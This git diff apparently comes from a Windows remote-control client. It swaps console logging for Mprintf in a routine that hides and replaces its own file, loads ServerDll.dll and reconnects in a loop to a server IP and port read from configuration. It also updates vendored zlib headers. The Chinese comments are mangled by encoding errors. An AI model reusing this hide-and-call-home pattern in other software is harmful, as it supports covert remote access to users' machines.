|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
@@ -139,25 +140,25 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
{
|
||||
if (!DeleteFileA(oldFile.c_str()))
|
||||
{
|
||||
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
|
||||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}else {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
std::cout << "File created and set to hidden: " << oldFile << std::endl;
|
||||
Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
MoveFileA(oldFile.c_str(), path);// recover
|
||||
}else if (ok){
|
||||
std::cout << "Using new file: " << newFile << std::endl;
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
HMODULE hDll = LoadLibraryA(path);
|
||||
@@ -180,7 +181,7 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
||||
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
||||
}
|
||||
printf("[server] %s:%d\n", ip, port);
|
||||
Mprintf("[server] %s:%d\n", ip, port);
|
||||
do
|
||||
{
|
||||
run(ip, port);
|
||||
@@ -194,14 +195,14 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
result = bExit();
|
||||
}
|
||||
if (!FreeLibrary(hDll)) {
|
||||
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
else {
|
||||
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
Sleep(3000);
|
||||
}
|
||||
return result;
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
/* zconf.h -- configuration of the zlib compression library
|
||||
* Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
|
||||
* Copyright (C) 1995-2024 Jean-loup Gailly, Mark Adler
|
||||
* For conditions of distribution and use, see copyright notice in zlib.h
|
||||
*/
|
||||
|
||||
@@ -7,6 +7,8 @@
|
||||
|
||||
#ifndef ZCONF_H
|
||||
#define ZCONF_H
|
||||
/* #undef Z_PREFIX */
|
||||
/* #undef Z_HAVE_UNISTD_H */
|
||||
|
||||
/*
|
||||
* If you *really* need a unique prefix for all types and library functions,
|
||||
@@ -38,6 +40,9 @@
|
||||
# define crc32 z_crc32
|
||||
# define crc32_combine z_crc32_combine
|
||||
# define crc32_combine64 z_crc32_combine64
|
||||
# define crc32_combine_gen z_crc32_combine_gen
|
||||
# define crc32_combine_gen64 z_crc32_combine_gen64
|
||||
# define crc32_combine_op z_crc32_combine_op
|
||||
# define crc32_z z_crc32_z
|
||||
# define deflate z_deflate
|
||||
# define deflateBound z_deflateBound
|
||||
@@ -238,7 +243,11 @@
|
||||
#endif
|
||||
|
||||
#ifdef Z_SOLO
|
||||
typedef unsigned long z_size_t;
|
||||
# ifdef _WIN64
|
||||
typedef unsigned long long z_size_t;
|
||||
# else
|
||||
typedef unsigned long z_size_t;
|
||||
# endif
|
||||
#else
|
||||
# define z_longlong long long
|
||||
# if defined(NO_SIZE_T)
|
||||
@@ -293,14 +302,6 @@
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef Z_ARG /* function prototypes for stdarg */
|
||||
# if defined(STDC) || defined(Z_HAVE_STDARG_H)
|
||||
# define Z_ARG(args) args
|
||||
# else
|
||||
# define Z_ARG(args) ()
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* The following definitions for FAR are needed only for MSDOS mixed
|
||||
* model programming (small or medium model with some far allocations).
|
||||
* This was tested only with MSC; for other MSDOS compilers you may have
|
||||
@@ -349,6 +350,9 @@
|
||||
# ifdef FAR
|
||||
# undef FAR
|
||||
# endif
|
||||
# ifndef WIN32_LEAN_AND_MEAN
|
||||
# define WIN32_LEAN_AND_MEAN
|
||||
# endif
|
||||
# include <windows.h>
|
||||
/* No need for _export, use ZLIB.DEF instead. */
|
||||
/* For complete Windows compatibility, use WINAPI, not __stdcall. */
|
||||
@@ -467,11 +471,18 @@ typedef uLong FAR uLongf;
|
||||
# undef _LARGEFILE64_SOURCE
|
||||
#endif
|
||||
|
||||
#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H)
|
||||
# define Z_HAVE_UNISTD_H
|
||||
#ifndef Z_HAVE_UNISTD_H
|
||||
# ifdef __WATCOMC__
|
||||
# define Z_HAVE_UNISTD_H
|
||||
# endif
|
||||
#endif
|
||||
#ifndef Z_HAVE_UNISTD_H
|
||||
# if defined(_LARGEFILE64_SOURCE) && !defined(_WIN32)
|
||||
# define Z_HAVE_UNISTD_H
|
||||
# endif
|
||||
#endif
|
||||
#ifndef Z_SOLO
|
||||
# if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE)
|
||||
# if defined(Z_HAVE_UNISTD_H)
|
||||
# include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
|
||||
# ifdef VMS
|
||||
# include <unixio.h> /* for off_t */
|
||||
@@ -507,7 +518,7 @@ typedef uLong FAR uLongf;
|
||||
#if !defined(_WIN32) && defined(Z_LARGE64)
|
||||
# define z_off64_t off64_t
|
||||
#else
|
||||
# if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO)
|
||||
# if defined(_WIN32) && !defined(__GNUC__)
|
||||
# define z_off64_t __int64
|
||||
# else
|
||||
# define z_off64_t z_off_t
|
||||
|
||||
594
client/zlib.h
594
client/zlib.h
File diff suppressed because it is too large
Load Diff
BIN
client/zlib.lib
BIN
client/zlib.lib
Binary file not shown.
2711
client/zstd/zstd.h
2711
client/zstd/zstd.h
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Reference in New Issue
Block a user